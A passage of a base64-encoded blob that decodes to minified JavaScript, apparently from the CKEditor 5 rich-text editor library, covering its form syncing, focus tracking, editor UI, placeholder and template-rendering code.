Xt0aGlzLmRhdGEuc2V0KHQpfSxnZXREYXRhKHQpe3JldHVybiB0aGlzLmRhdGEuZ2V0KHQpfX07dmFyIFdwPUdwO2Z1bmN0aW9uIEtwKHQsZSl7aWYodCBpbnN0YW5jZW9mIEhUTUxUZXh0QXJlYUVsZW1lbnQpe3QudmFsdWU9ZX10LmlubmVySFRNTD1lfWNvbnN0IHFwPXt1cGRhdGVTb3VyY2VFbGVtZW50KCl7aWYoIXRoaXMuc291cmNlRWxlbWVudCl7dGhyb3cgbmV3IHNzWyJhIl0oImVkaXRvci1taXNzaW5nLXNvdXJjZWVsZW1lbnQiLHRoaXMpfUtwKHRoaXMuc291cmNlRWxlbWVudCx0aGlzLmRhdGEuZ2V0KCkpfX07dmFyIFlwPXFwO2Z1bmN0aW9uIFFwKHQpe2lmKCFtdCh0LnVwZGF0ZVNvdXJjZUVsZW1lbnQpKXt0aHJvdyBuZXcgc3NbImEiXSgiYXR0YWNodG9mb3JtLW1pc3NpbmctZWxlbWVudGFwaS1pbnRlcmZhY2UiLHQpfWNvbnN0IGU9dC5zb3VyY2VFbGVtZW50O2lmKGUmJmUudGFnTmFtZS50b0xvd2VyQ2FzZSgpPT09InRleHRhcmVhIiYmZS5mb3JtKXtsZXQgbjtjb25zdCBpPWUuZm9ybTtjb25zdCBvPSgpPT50LnVwZGF0ZVNvdXJjZUVsZW1lbnQoKTtpZihtdChpLnN1Ym1pdCkpe249aS5zdWJtaXQ7aS5zdWJtaXQ9KCk9PntvKCk7bi5hcHBseShpKX19aS5hZGRFdmVudExpc3RlbmVyKCJzdWJtaXQiLG8pO3Qub24oImRlc3Ryb3kiLCgoKT0+e2kucmVtb3ZlRXZlbnRMaXN0ZW5lcigic3VibWl0IixvKTtpZihuKXtpLnN1Ym1pdD1ufX0pKX19Y2xhc3MgJHB7Z2V0SHRtbCh0KXtjb25zdCBlPWRvY3VtZW50LmltcGxlbWVudGF0aW9uLmNyZWF0ZUhUTUxEb2N1bWVudCgiIik7Y29uc3Qgbj1lLmNyZWF0ZUVsZW1lbnQoImRpdiIpO24uYXBwZW5kQ2hpbGQodCk7cmV0dXJuIG4uaW5uZXJIVE1MfX1jbGFzcyBKcHtjb25zdHJ1Y3Rvcih0KXt0aGlzLl9kb21QYXJzZXI9bmV3IERPTVBhcnNlcjt0aGlzLl9kb21Db252ZXJ0ZXI9bmV3IEdkKHQse2Jsb2NrRmlsbGVyTW9kZToibmJzcCJ9KTt0aGlzLl9odG1sV3JpdGVyPW5ldyAkcH10b0RhdGEodCl7Y29uc3QgZT10aGlzLl9kb21Db252ZXJ0ZXIudmlld1RvRG9tKHQsZG9jdW1lbnQpO3JldHVybiB0aGlzLl9odG1sV3JpdGVyLmdldEh0bWwoZSl9dG9WaWV3KHQpe2NvbnN0IGU9dGhpcy5fdG9Eb20odCk7cmV0dXJuIHRoaXMuX2RvbUNvbnZlcnRlci5kb21Ub1ZpZXcoZSl9cmVnaXN0ZXJSYXdDb250ZW50TWF0Y2hlcih0KXt0aGlzLl9kb21Db252ZXJ0ZXIucmVnaXN0ZXJSYXdDb250ZW50TWF0Y2hlcih0KX1fdG9Eb20odCl7Y29uc3QgZT10aGlzLl9kb21QYXJzZXIucGFyc2VGcm9tU3RyaW5nKHQsInRleHQvaHRtbCIpO2NvbnN0IG49ZS5jcmVhdGVEb2N1bWVudEZyYWdtZW50KCk7Y29uc3QgaT1lLmJvZHkuY2hpbGROb2Rlczt3aGlsZShpLmxlbmd0aD4wKXtuLmFwcGVuZENoaWxkKGlbMF0pfXJldHVybiBufX1jbGFzcyBacHtjb25zdHJ1Y3Rvcih0KXt0aGlzLmVkaXRvcj10O3RoaXMuX2NvbXBvbmVudHM9bmV3IE1hcH0qbmFtZXMoKXtmb3IoY29uc3QgdCBvZiB0aGlzLl9jb21wb25lbnRzLnZhbHVlcygpKXt5aWVsZCB0Lm9yaWdpbmFsTmFtZX19YWRkKHQsZSl7dGhpcy5fY29tcG9uZW50cy5zZXQoWHAodCkse2NhbGxiYWNrOmUsb3JpZ2luYWxOYW1lOnR9KX1jcmVhdGUodCl7aWYoIXRoaXMuaGFzKHQpKXt0aHJvdyBuZXcgc3NbImEiXSgiY29tcG9uZW50ZmFjdG9yeS1pdGVtLW1pc3NpbmciLHRoaXMse25hbWU6dH0pfXJldHVybiB0aGlzLl9jb21wb25lbnRzLmdldChYcCh0KSkuY2FsbGJhY2sodGhpcy5lZGl0b3IubG9jYWxlKX1oYXModCl7cmV0dXJuIHRoaXMuX2NvbXBvbmVudHMuaGFzKFhwKHQpKX19ZnVuY3Rpb24gWHAodCl7cmV0dXJuIFN0cmluZyh0KS50b0xvd2VyQ2FzZSgpfWNsYXNzIHRre2NvbnN0cnVjdG9yKCl7dGhpcy5zZXQoImlzRm9jdXNlZCIsZmFsc2UpO3RoaXMuc2V0KCJmb2N1c2VkRWxlbWVudCIsbnVsbCk7dGhpcy5fZWxlbWVudHM9bmV3IFNldDt0aGlzLl9uZXh0RXZlbnRMb29wVGltZW91dD1udWxsfWFkZCh0KXtpZih0aGlzLl9lbGVtZW50cy5oYXModCkpe3Rocm93IG5ldyBzc1siYSJdKCJmb2N1c3RyYWNrZXItYWRkLWVsZW1lbnQtYWxyZWFkeS1leGlzdCIsdGhpcyl9dGhpcy5saXN0ZW5Ubyh0LCJmb2N1cyIsKCgpPT50aGlzLl9mb2N1cyh0KSkse3VzZUNhcHR1cmU6dHJ1ZX0pO3RoaXMubGlzdGVuVG8odCwiYmx1ciIsKCgpPT50aGlzLl9ibHVyKCkpLHt1c2VDYXB0dXJlOnRydWV9KTt0aGlzLl9lbGVtZW50cy5hZGQodCl9cmVtb3ZlKHQpe2lmKHQ9PT10aGlzLmZvY3VzZWRFbGVtZW50KXt0aGlzLl9ibHVyKHQpfWlmKHRoaXMuX2VsZW1lbnRzLmhhcyh0KSl7dGhpcy5zdG9wTGlzdGVuaW5nKHQpO3RoaXMuX2VsZW1lbnRzLmRlbGV0ZSh0KX19ZGVzdHJveSgpe3RoaXMuc3RvcExpc3RlbmluZygpfV9mb2N1cyh0KXtjbGVhclRpbWVvdXQodGhpcy5fbmV4dEV2ZW50TG9vcFRpbWVvdXQpO3RoaXMuZm9jdXNlZEVsZW1lbnQ9dDt0aGlzLmlzRm9jdXNlZD10cnVlfV9ibHVyKCl7Y2xlYXJUaW1lb3V0KHRoaXMuX25leHRFdmVudExvb3BUaW1lb3V0KTt0aGlzLl9uZXh0RXZlbnRMb29wVGltZW91dD1zZXRUaW1lb3V0KCgoKT0+e3RoaXMuZm9jdXNlZEVsZW1lbnQ9bnVsbDt0aGlzLmlzRm9jdXNlZD1mYWxzZX0pLDApfX1fcyh0ayxKZCk7X3ModGssSmMpO2NsYXNzIGVre2NvbnN0cnVjdG9yKHQpe3RoaXMuZWRpdG9yPXQ7dGhpcy5jb21wb25lbnRGYWN0b3J5PW5ldyBacCh0KTt0aGlzLmZvY3VzVHJhY2tlcj1uZXcgdGs7dGhpcy5fZWRpdGFibGVFbGVtZW50c01hcD1uZXcgTWFwO3RoaXMubGlzdGVuVG8odC5lZGl0aW5nLnZpZXcuZG9jdW1lbnQsImxheW91dENoYW5nZWQiLCgoKT0+dGhpcy51cGRhdGUoKSkpfWdldCBlbGVtZW50KCl7cmV0dXJuIG51bGx9dXBkYXRlKCl7dGhpcy5maXJlKCJ1cGRhdGUiKX1kZXN0cm95KCl7dGhpcy5zdG9wTGlzdGVuaW5nKCk7dGhpcy5mb2N1c1RyYWNrZXIuZGVzdHJveSgpO2Zvcihjb25zdCB0IG9mIHRoaXMuX2VkaXRhYmxlRWxlbWVudHNNYXAudmFsdWVzKCkpe3QuY2tlZGl0b3JJbnN0YW5jZT1udWxsfXRoaXMuX2VkaXRhYmxlRWxlbWVudHNNYXA9bmV3IE1hcH1zZXRFZGl0YWJsZUVsZW1lbnQodCxlKXt0aGlzLl9lZGl0YWJsZUVsZW1lbnRzTWFwLnNldCh0LGUpO2lmKCFlLmNrZWRpdG9ySW5zdGFuY2Upe2UuY2tlZGl0b3JJbnN0YW5jZT10aGlzLmVkaXRvcn19Z2V0RWRpdGFibGVFbGVtZW50KHQ9Im1haW4iKXtyZXR1cm4gdGhpcy5fZWRpdGFibGVFbGVtZW50c01hcC5nZXQodCl9Z2V0RWRpdGFibGVFbGVtZW50c05hbWVzKCl7cmV0dXJuIHRoaXMuX2VkaXRhYmxlRWxlbWVudHNNYXAua2V5cygpfWdldCBfZWRpdGFibGVFbGVtZW50cygpe2NvbnNvbGUud2FybigiZWRpdG9yLXVpLWRlcHJlY2F0ZWQtZWRpdGFibGUtZWxlbWVudHM6ICIrIlRoZSBFZGl0b3JVSSNfZWRpdGFibGVFbGVtZW50cyBwcm9wZXJ0eSBoYXMgYmVlbiBkZXByZWNhdGVkIGFuZCB3aWxsIGJlIHJlbW92ZWQgaW4gdGhlIG5lYXIgZnV0dXJlLiIse2VkaXRvclVJOnRoaXN9KTtyZXR1cm4gdGhpcy5fZWRpdGFibGVFbGVtZW50c01hcH19X3MoZWssZHMpO2Z1bmN0aW9uIG5rKHtvcmlnaW46dCxvcmlnaW5LZXlzdHJva2VIYW5kbGVyOmUsb3JpZ2luRm9jdXNUcmFja2VyOm4sdG9vbGJhcjppLGJlZm9yZUZvY3VzOm8sYWZ0ZXJCbHVyOnJ9KXtuLmFkZChpLmVsZW1lbnQpO2Uuc2V0KCJBbHQrRjEwIiwoKHQsZSk9PntpZihuLmlzRm9jdXNlZCYmIWkuZm9jdXNUcmFja2VyLmlzRm9jdXNlZCl7aWYobyl7bygpfWkuZm9jdXMoKTtlKCl9fSkpO2kua2V5c3Ryb2tlcy5zZXQoIkVzYyIsKChlLG4pPT57aWYoaS5mb2N1c1RyYWNrZXIuaXNGb2N1c2VkKXt0LmZvY3VzKCk7aWYocil7cigpfW4oKX19KSl9ZnVuY3Rpb24gaWsodCl7aWYoQXJyYXkuaXNBcnJheSh0KSl7cmV0dXJue2l0ZW1zOnR9fWlmKCF0KXtyZXR1cm57aXRlbXM6W119fXJldHVybiBPYmplY3QuYXNzaWduKHtpdGVtczpbXX0sdCl9dmFyIG9rPW4oMSk7dmFyIHJrPW4ubihvayk7dmFyIHNrPW4oMTIpO3ZhciBhaz17aW5qZWN0VHlwZToic2luZ2xldG9uU3R5bGVUYWciLGF0dHJpYnV0ZXM6eyJkYXRhLWNrZSI6dHJ1ZX19O2FrLmluc2VydD0iaGVhZCI7YWsuc2luZ2xldG9uPXRydWU7dmFyIGNrPXJrKCkoc2tbImEiXSxhayk7dmFyIGxrPXNrWyJhIl0ubG9jYWxzfHx7fTtjb25zdCBkaz1uZXcgV2Vha01hcDtmdW5jdGlvbiB1ayh0KXtjb25zdHt2aWV3OmUsZWxlbWVudDpuLHRleHQ6aSxpc0RpcmVjdEhvc3Q6bz10cnVlfT10O2NvbnN0IHI9ZS5kb2N1bWVudDtpZighZGsuaGFzKHIpKXtkay5zZXQocixuZXcgTWFwKTtyLnJlZ2lzdGVyUG9zdEZpeGVyKCh0PT5wayhyLHQpKSl9ZGsuZ2V0KHIpLnNldChuLHt0ZXh0OmksaXNEaXJlY3RIb3N0Om99KTtlLmNoYW5nZSgodD0+cGsocix0KSkpfWZ1bmN0aW9uIGhrKHQsZSl7Y29uc3Qgbj1lLmRvY3VtZW50O3QuY2hhbmdlKCh0PT57aWYoIWRrLmhhcyhuKSl7cmV0dXJufWNvbnN0IGk9ZGsuZ2V0KG4pO2NvbnN0IG89aS5nZXQoZSk7dC5yZW1vdmVBdHRyaWJ1dGUoImRhdGEtcGxhY2Vob2xkZXIiLG8uaG9zdEVsZW1lbnQpO21rKHQsby5ob3N0RWxlbWVudCk7aS5kZWxldGUoZSl9KSl9ZnVuY3Rpb24gZmsodCxlKXtpZighZS5oYXNDbGFzcygiY2stcGxhY2Vob2xkZXIiKSl7dC5hZGRDbGFzcygiY2stcGxhY2Vob2xkZXIiLGUpO3JldHVybiB0cnVlfXJldHVybiBmYWxzZX1mdW5jdGlvbiBtayh0LGUpe2lmKGUuaGFzQ2xhc3MoImNrLXBsYWNlaG9sZGVyIikpe3QucmVtb3ZlQ2xhc3MoImNrLXBsYWNlaG9sZGVyIixlKTtyZXR1cm4gdHJ1ZX1yZXR1cm4gZmFsc2V9ZnVuY3Rpb24gZ2sodCl7aWYoIXQuaXNBdHRhY2hlZCgpKXtyZXR1cm4gZmFsc2V9Y29uc3QgZT0hQXJyYXkuZnJvbSh0LmdldENoaWxkcmVuKCkpLnNvbWUoKHQ9PiF0LmlzKCJ1aUVsZW1lbnQiKSkpO2NvbnN0IG49dC5kb2N1bWVudDtpZighbi5pc0ZvY3VzZWQmJmUpe3JldHVybiB0cnVlfWNvbnN0IGk9bi5zZWxlY3Rpb247Y29uc3Qgbz1pLmFuY2hvcjtpZihlJiZvJiZvLnBhcmVudCE9PXQpe3JldHVybiB0cnVlfXJldHVybiBmYWxzZX1mdW5jdGlvbiBwayh0LGUpe2NvbnN0IG49ZGsuZ2V0KHQpO2xldCBpPWZhbHNlO2Zvcihjb25zdFt0LG9db2Ygbil7aWYoa2soZSx0LG8pKXtpPXRydWV9fXJldHVybiBpfWZ1bmN0aW9uIGtrKHQsZSxuKXtjb25zdHt0ZXh0OmksaXNEaXJlY3RIb3N0Om99PW47Y29uc3Qgcj1vP2U6YmsoZSk7bGV0IHM9ZmFsc2U7aWYoIXIpe3JldHVybiBmYWxzZX1uLmhvc3RFbGVtZW50PXI7aWYoci5nZXRBdHRyaWJ1dGUoImRhdGEtcGxhY2Vob2xkZXIiKSE9PWkpe3Quc2V0QXR0cmlidXRlKCJkYXRhLXBsYWNlaG9sZGVyIixpLHIpO3M9dHJ1ZX1pZihnayhyKSl7aWYoZmsodCxyKSl7cz10cnVlfX1lbHNlIGlmKG1rKHQscikpe3M9dHJ1ZX1yZXR1cm4gc31mdW5jdGlvbiBiayh0KXtpZih0LmNoaWxkQ291bnQ9PT0xKXtjb25zdCBlPXQuZ2V0Q2hpbGQoMCk7aWYoZS5pcygiZWxlbWVudCIpJiYhZS5pcygidWlFbGVtZW50Iikpe3JldHVybiBlfX1yZXR1cm4gbnVsbH1jbGFzcyB3a3tjb25zdHJ1Y3Rvcigpe3RoaXMuX3JlcGxhY2VkRWxlbWVudHM9W119cmVwbGFjZSh0LGUpe3RoaXMuX3JlcGxhY2VkRWxlbWVudHMucHVzaCh7ZWxlbWVudDp0LG5ld0VsZW1lbnQ6ZX0pO3Quc3R5bGUuZGlzcGxheT0ibm9uZSI7aWYoZSl7dC5wYXJlbnROb2RlLmluc2VydEJlZm9yZShlLHQubmV4dFNpYmxpbmcpfX1yZXN0b3JlKCl7dGhpcy5fcmVwbGFjZWRFbGVtZW50cy5mb3JFYWNoKCgoe2VsZW1lbnQ6dCxuZXdFbGVtZW50OmV9KT0+e3Quc3R5bGUuZGlzcGxheT0iIjtpZihlKXtlLnJlbW92ZSgpfX0pKTt0aGlzLl9yZXBsYWNlZEVsZW1lbnRzPVtdfX1jbGFzcyBDayBleHRlbmRzIGVre2NvbnN0cnVjdG9yKHQsZSl7c3VwZXIodCk7dGhpcy52aWV3PWU7dGhpcy5fdG9vbGJhckNvbmZpZz1payh0LmNvbmZpZy5nZXQoInRvb2xiYXIiKSk7dGhpcy5fZWxlbWVudFJlcGxhY2VyPW5ldyB3a31nZXQgZWxlbWVudCgpe3JldHVybiB0aGlzLnZpZXcuZWxlbWVudH1pbml0KHQpe2NvbnN0IGU9dGhpcy5lZGl0b3I7Y29uc3Qgbj10aGlzLnZpZXc7Y29uc3QgaT1lLmVkaXRpbmcudmlldztjb25zdCBvPW4uZWRpdGFibGU7Y29uc3Qgcj1pLmRvY3VtZW50LmdldFJvb3QoKTtvLm5hbWU9ci5yb290TmFtZTtuLnJlbmRlcigpO2NvbnN0IHM9by5lbGVtZW50O3RoaXMuc2V0RWRpdGFibGVFbGVtZW50KG8ubmFtZSxzKTt0aGlzLmZvY3VzVHJhY2tlci5hZGQocyk7bi5lZGl0YWJsZS5iaW5kKCJpc0ZvY3VzZWQiKS50byh0aGlzLmZvY3VzVHJhY2tlcik7aS5hdHRhY2hEb21Sb290KHMpO2lmKHQpe3RoaXMuX2VsZW1lbnRSZXBsYWNlci5yZXBsYWNlKHQsdGhpcy5lbGVtZW50KX10aGlzLl9pbml0UGxhY2Vob2xkZXIoKTt0aGlzLl9pbml0VG9vbGJhcigpO3RoaXMuZmlyZSgicmVhZHkiKX1kZXN0cm95KCl7Y29uc3QgdD10aGlzLnZpZXc7Y29uc3QgZT10aGlzLmVkaXRvci5lZGl0aW5nLnZpZXc7dGhpcy5fZWxlbWVudFJlcGxhY2VyLnJlc3RvcmUoKTtlLmRldGFjaERvbVJvb3QodC5lZGl0YWJsZS5uYW1lKTt0LmRlc3Ryb3koKTtzdXBlci5kZXN0cm95KCl9X2luaXRUb29sYmFyKCl7Y29uc3QgdD10aGlzLmVkaXRvcjtjb25zdCBlPXRoaXMudmlldztjb25zdCBuPXQuZWRpdGluZy52aWV3O2Uuc3RpY2t5UGFuZWwuYmluZCgiaXNBY3RpdmUiKS50byh0aGlzLmZvY3VzVHJhY2tlciwiaXNGb2N1c2VkIik7ZS5zdGlja3lQYW5lbC5saW1pdGVyRWxlbWVudD1lLmVsZW1lbnQ7aWYodGhpcy5fdG9vbGJhckNvbmZpZy52aWV3cG9ydFRvcE9mZnNldCl7ZS5zdGlja3lQYW5lbC52aWV3cG9ydFRvcE9mZnNldD10aGlzLl90b29sYmFyQ29uZmlnLnZpZXdwb3J0VG9wT2Zmc2V0fWUudG9vbGJhci5maWxsRnJvbUNvbmZpZyh0aGlzLl90b29sYmFyQ29uZmlnLml0ZW1zLHRoaXMuY29tcG9uZW50RmFjdG9yeSk7bmsoe29yaWdpbjpuLG9yaWdpbkZvY3VzVHJhY2tlcjp0aGlzLmZvY3VzVHJhY2tlcixvcmlnaW5LZXlzdHJva2VIYW5kbGVyOnQua2V5c3Ryb2tlcyx0b29sYmFyOmUudG9vbGJhcn0pfV9pbml0UGxhY2Vob2xkZXIoKXtjb25zdCB0PXRoaXMuZWRpdG9yO2NvbnN0IGU9dC5lZGl0aW5nLnZpZXc7Y29uc3Qgbj1lLmRvY3VtZW50LmdldFJvb3QoKTtjb25zdCBpPXQuc291cmNlRWxlbWVudDtjb25zdCBvPXQuY29uZmlnLmdldCgicGxhY2Vob2xkZXIiKXx8aSYmaS50YWdOYW1lLnRvTG93ZXJDYXNlKCk9PT0idGV4dGFyZWEiJiZpLmdldEF0dHJpYnV0ZSgicGxhY2Vob2xkZXIiKTtpZihvKXt1ayh7dmlldzplLGVsZW1lbnQ6bix0ZXh0Om8saXNEaXJlY3RIb3N0OmZhbHNlfSl9fX1jbGFzcyBBayBleHRlbmRzIHZze2NvbnN0cnVjdG9yKHQ9W10pe3N1cGVyKHQse2lkUHJvcGVydHk6InZpZXdVaWQifSk7dGhpcy5vbigiYWRkIiwoKHQsZSxuKT0+e3RoaXMuX3JlbmRlclZpZXdJbnRvQ29sbGVjdGlvblBhcmVudChlLG4pfSkpO3RoaXMub24oInJlbW92ZSIsKCh0LGUpPT57aWYoZS5lbGVtZW50JiZ0aGlzLl9wYXJlbnRFbGVtZW50KXtlLmVsZW1lbnQucmVtb3ZlKCl9fSkpO3RoaXMuX3BhcmVudEVsZW1lbnQ9bnVsbH1kZXN0cm95KCl7dGhpcy5tYXAoKHQ9PnQuZGVzdHJveSgpKSl9c2V0UGFyZW50KHQpe3RoaXMuX3BhcmVudEVsZW1lbnQ9dDtmb3IoY29uc3QgdCBvZiB0aGlzKXt0aGlzLl9yZW5kZXJWaWV3SW50b0NvbGxlY3Rpb25QYXJlbnQodCl9fWRlbGVnYXRlKC4uLnQpe2lmKCF0Lmxlbmd0aHx8IV9rKHQpKXt0aHJvdyBuZXcgc3NbImEiXSgidWktdmlld2NvbGxlY3Rpb24tZGVsZWdhdGUtd3JvbmctZXZlbnRzIix0aGlzKX1yZXR1cm57dG86ZT0+e2Zvcihjb25zdCBuIG9mIHRoaXMpe2Zvcihjb25zdCBpIG9mIHQpe24uZGVsZWdhdGUoaSkudG8oZSl9fXRoaXMub24oImFkZCIsKChuLGkpPT57Zm9yKGNvbnN0IG4gb2YgdCl7aS5kZWxlZ2F0ZShuKS50byhlKX19KSk7dGhpcy5vbigicmVtb3ZlIiwoKG4saSk9Pntmb3IoY29uc3QgbiBvZiB0KXtpLnN0b3BEZWxlZ2F0aW5nKG4sZSl9fSkpfX19X3JlbmRlclZpZXdJbnRvQ29sbGVjdGlvblBhcmVudCh0LGUpe2lmKCF0LmlzUmVuZGVyZWQpe3QucmVuZGVyKCl9aWYodC5lbGVtZW50JiZ0aGlzLl9wYXJlbnRFbGVtZW50KXt0aGlzLl9wYXJlbnRFbGVtZW50Lmluc2VydEJlZm9yZSh0LmVsZW1lbnQsdGhpcy5fcGFyZW50RWxlbWVudC5jaGlsZHJlbltlXSl9fX1mdW5jdGlvbiBfayh0KXtyZXR1cm4gdC5ldmVyeSgodD0+dHlwZW9mIHQ9PSJzdHJpbmciKSl9Y29uc3Qgdms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiO2NsYXNzIHlre2NvbnN0cnVjdG9yKHQpe09iamVjdC5hc3NpZ24odGhpcyx6ayhQayh0KSkpO3RoaXMuX2lzUmVuZGVyZWQ9ZmFsc2U7dGhpcy5fcmV2ZXJ0RGF0YT1udWxsfXJlbmRlcigpe2NvbnN0IHQ9dGhpcy5fcmVuZGVyTm9kZSh7aW50b0ZyYWdtZW50OnRydWV9KTt0aGlzLl9pc1JlbmRlcmVkPXRydWU7cmV0dXJuIHR9YXBwbHkodCl7dGhpcy5fcmV2ZXJ0RGF0YT1ZaygpO3RoaXMuX3JlbmRlck5vZGUoe25vZGU6dCxpc0FwcGx5aW5nOnRydWUscmV2ZXJ0RGF0YTp0aGlzLl9yZXZlcnREYXRhfSk7cmV0dXJuIHR9cmV2ZXJ0KHQpe2lmKCF0aGlzLl9yZXZlcnREYXRhKXt0aHJvdyBuZXcgc3NbImEiXSgidWktdGVtcGxhdGUtcmV2ZXJ0LW5vdC1hcHBsaWVkIixbdGhpcyx0XSl9dGhpcy5fcmV2ZXJ0VGVtcGxhdGVGcm9tTm9kZSh0LHRoaXMuX3JldmVydERhdGEpfSpnZXRWaWV3cygpe2Z1bmN0aW9uKnQoZSl7aWYoZS5jaGlsZHJlbil7Zm9yKGNvbnN0IG4gb2YgZS5jaGlsZHJlbil7aWYoV2sobikpe3lpZWxkIG59ZWxzZSBpZihLayhuKSl7eWllbGQqdChuKX19fX15aWVsZCp0KHRoaXMpfXN0YXRpYyBiaW5kKHQsZSl7cmV0dXJue3RvKG4saSl7cmV0dXJuIG5ldyBEayh7ZXZlbnROYW1lT3JGdW5jdGlvbjpuLGF0dHJpYnV0ZTpuLG9ic2VydmFibGU6dCxlbWl0dGVyOmUsY2FsbGJhY2s6aX0pfSxpZihuLGksbyl7cmV0dXJuIG5ldyBFayh7b2JzZXJ2YWJsZTp0LGVtaXR0ZXI6ZSxhdHRyaWJ1dGU6bix2YWx1ZUlmVHJ1ZTppLGNhbGxiYWNrOm99KX19fXN0YXRpYyBleHRlbmQodCxlKXtpZih0Ll9pc1JlbmRlcmVkKXt0aHJvdyBuZXcgc3NbImEiXSgidGVtcGxhdGUtZXh0ZW5kLXJlbmRlciIsW3RoaXMsdF0pfUhrKHQsemsoUGsoZSkpKX1fcmVuZGVyTm9kZSh0KXtsZXQgZTtpZih0Lm5vZGUpe2U9dGhpcy50YWcmJnRoaXMudGV4dH1lbHNle2U9dGhpcy50YWc/dGhpcy50ZXh0OiF0aGlzLnRleHR9aWYoZSl7dGhyb3cgbmV3IHNzWyJhIl0oInVpLXRlbXBsYXRlLXdyb25nLXN5bnRheCIsdGhpcyl9aWYodGhpcy50ZXh0KXtyZXR1cm4gdGhpcy5fcmVuZGVyVGV4dCh0KX1lbHNle3JldHVybiB0aGlzLl9yZW5kZXJFbGVtZW50KHQpfX1fcmVuZGVyRWxlbWVudCh0KXtsZXQgZT10Lm5vZGU7aWYoIWUpe2U9dC5ub2RlPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnROUyh0aGlzLm5zfHx2ayx0aGlzLnRhZyl9dGhpcy5fcmVuZGVyQXR0cmlidXRlcyh0KTt0aGlzLl9yZW5kZXJFbGVtZW50Q2hpbGRyZW4odCk7dGhpcy5fc2V0VXBMaXN0ZW5lcnModCk7cmV0dXJuIGV9X3JlbmRlclRleHQodCl7bGV0IGU9dC5ub2RlO2lmKGUpe3QucmV2ZXJ0RGF0YS50ZXh0PWUudGV4dENvbnRlbnR9ZWxzZXtlPXQubm9kZT1kb2N1bWVudC5jcmVhdGVUZXh0Tm9kZSgiIil9aWYoTWsodGhpcy50ZXh0KSl7dGhpcy5fYmluZFRvT2JzZXJ2YWJsZSh7c2NoZW1hOnRoaXMudGV4dCx1cGRhdGVyOklrKGUpLGRhdGE6dH0pfWVsc2V7ZS50ZXh0Q29udGVudD10aGlzLnRleHQuam9pbigiIil9cmV0dXJuIGV9X3JlbmRlckF0dHJpYnV0ZXModCl7bGV0IGUsbixpLG87aWYoIXRoaXMuYXR0cmlidXRlcyl7cmV0dXJufWNvbnN0IHI9dC5ub2RlO2NvbnN0IHM9dC5yZXZlcnREYXRhO2ZvcihlIGluIHRoaXMuYXR0cmlidXRlcyl7aT1yLmdldEF0dHJpYnV0ZShlKTtuPXRoaXMuYXR0cmlidXRlc1tlXTtpZihzKXtzLmF0dHJpYnV0ZXNbZV09aX1vPWN0KG5bMF0pJiZuWzBdLm5zP25bMF0ubnM6bnVsbDtpZihNayhuKSl7Y29uc3QgYT1vP25bMF0udmFsdWU6bjtpZihzJiZRayhlKSl7YS51bnNoaWZ0KGkpfXRoaXMuX2JpbmRUb09ic2VydmFibGUoe3NjaGVtYTphLHVwZGF0ZXI6TmsocixlLG8pLGRhdGE6dH0pfWVsc2UgaWYoZT09InN0eWxlIiYmdHlwZW9mIG5bMF0hPT0ic3RyaW5nIil7dGhpcy5fcmVuZGVyU3R5bGVBdHRyaWJ1dGUoblswXSx0KX1lbHNle2lmKHMmJmkmJlFrKGUpKXtuLnVuc2hpZnQoaSl9bj1uLm1hcCgodD0+dD90LnZhbHVlfHx0OnQpKS5yZWR1Y2UoKCh0LGUpPT50LmNvbmNhdChlKSksW10pLnJlZHVjZShWaywiIik7aWYoIUdrKG4pKXtyLnNldEF0dHJpYnV0ZU5TKG8sZSxuKX19fX1fcmVuZGVyU3R5bGVBdHRyaWJ1dGUodCxlKXtjb25zdCBuPWUubm9kZTtmb3IoY29uc3QgaSBpbiB0KXtjb25zdCBvPXRbaV07aWYoTWsobykpe3RoaXMuX2JpbmRUb09ic2VydmFibGUoe3NjaGVtYTpbb10sdXBkYXRlcjpCayhuLGkpLGRhdGE6ZX0pfWVsc2V7bi5zdHlsZVtpXT1vfX19X3JlbmRlckVsZW1lbnRDaGlsZHJlbih0KXtjb25zdCBlPXQubm9kZTtjb25zdCBuPXQuaW50b0ZyYWdtZW50P2RvY3VtZW50LmNyZWF0ZURvY3VtZW50RnJhZ21lbnQoKTplO2NvbnN0IGk9dC5pc0FwcGx5aW5nO2xldCBvPTA7Zm9yKGNvbnN0IHIgb2YgdGhpcy5jaGlsZHJlbil7aWYocWsocikpe2lmKCFpKXtyLnNldFBhcmVudChlKTtmb3IoY29uc3QgdCBvZiByKXtuLmFwcGVuZENoaWxkKHQuZWxlbWVudCl9fX1lbHNlIGlmKFdrKHIpKXtpZighaSl7aWYoIXIuaXNSZW5kZXJlZCl7ci5yZW5kZXIoKX1uLmFwcGVuZENoaWxkKHIuZWxlbWVudCl9fWVsc2UgaWYoVGQocikpe24uYXBwZW5kQ2hpbGQocil9ZWxzZXtpZihpKXtjb25zdCBlPXQucmV2ZXJ0RGF0YTtjb25zdCBpPVlrKCk7ZS5jaGlsZHJlbi5wdXNoKGkpO3IuX3JlbmRlck5vZGUoe25vZGU6bi5jaGlsZE5vZGVzW28rK10saXNBcHBseWluZzp0cnVlLHJldmVydERhdGE6aX0pfWVsc2V7bi5hcHBlbmRDaGlsZChyLnJlbmRlcigpKX19fWlmKHQuaW50b0ZyYWdtZW50KXtlLmFwcGVuZENoaWxkKG4pfX1fc2V0VXBMaXN0ZW5lcnModCl7aWYoIXRoaXMuZXZlbnRMaXN0ZW5lcnMpe3JldHVybn1mb3IoY29uc3QgZSBpbiB0aGlzLmV2ZW50TGlzdGVuZXJzKXtjb25zdCBuPXRoaXMuZXZlbnRMaXN0ZW5lcnNbZV0ubWFwKChuPT57Y29uc3RbaSxvXT1lLnNwbGl0KCJAIik7cmV0dXJuIG4uYWN0aXZhdGVEb21FdmVudExpc3RlbmVyKGksbyx0KX0pKTtpZih0LnJldmVydERhdGEpe3QucmV2ZXJ0RGF0YS5iaW5kaW5ncy5wdXNoKG4pfX19X2JpbmRUb09ic2VydmFibGUoe3NjaGVtYTp0LHVwZGF0ZXI6ZSxkYXRhOm59KXtjb25zdCBpPW4ucmV2ZXJ0RGF0YTtUayh0LGUsbik7Y29uc3Qgbz10LmZpbHRlcigodD0+IUdrKHQpKSkuZmlsdGVyKCh0PT50Lm9ic2VydmFibGUpKS5tYXAoKGk9PmkuYWN0aXZhdGVBdHRyaWJ1dGVMaXN0ZW5lcih0LGUsbikpKTtpZihpKXtpLmJpbmRpbmdzLnB1c2gobyl9fV9yZXZlcnRUZW1wbGF0ZUZyb21Ob2RlKHQsZSl7Zm9yKGNvbnN0IHQgb2YgZS5iaW5kaW5ncyl7Zm9yKGNvbnN0IGUgb2YgdCl7ZSgpfX1pZihlLnRleHQpe3QudGV4dENvbnRlbnQ9ZS50ZXh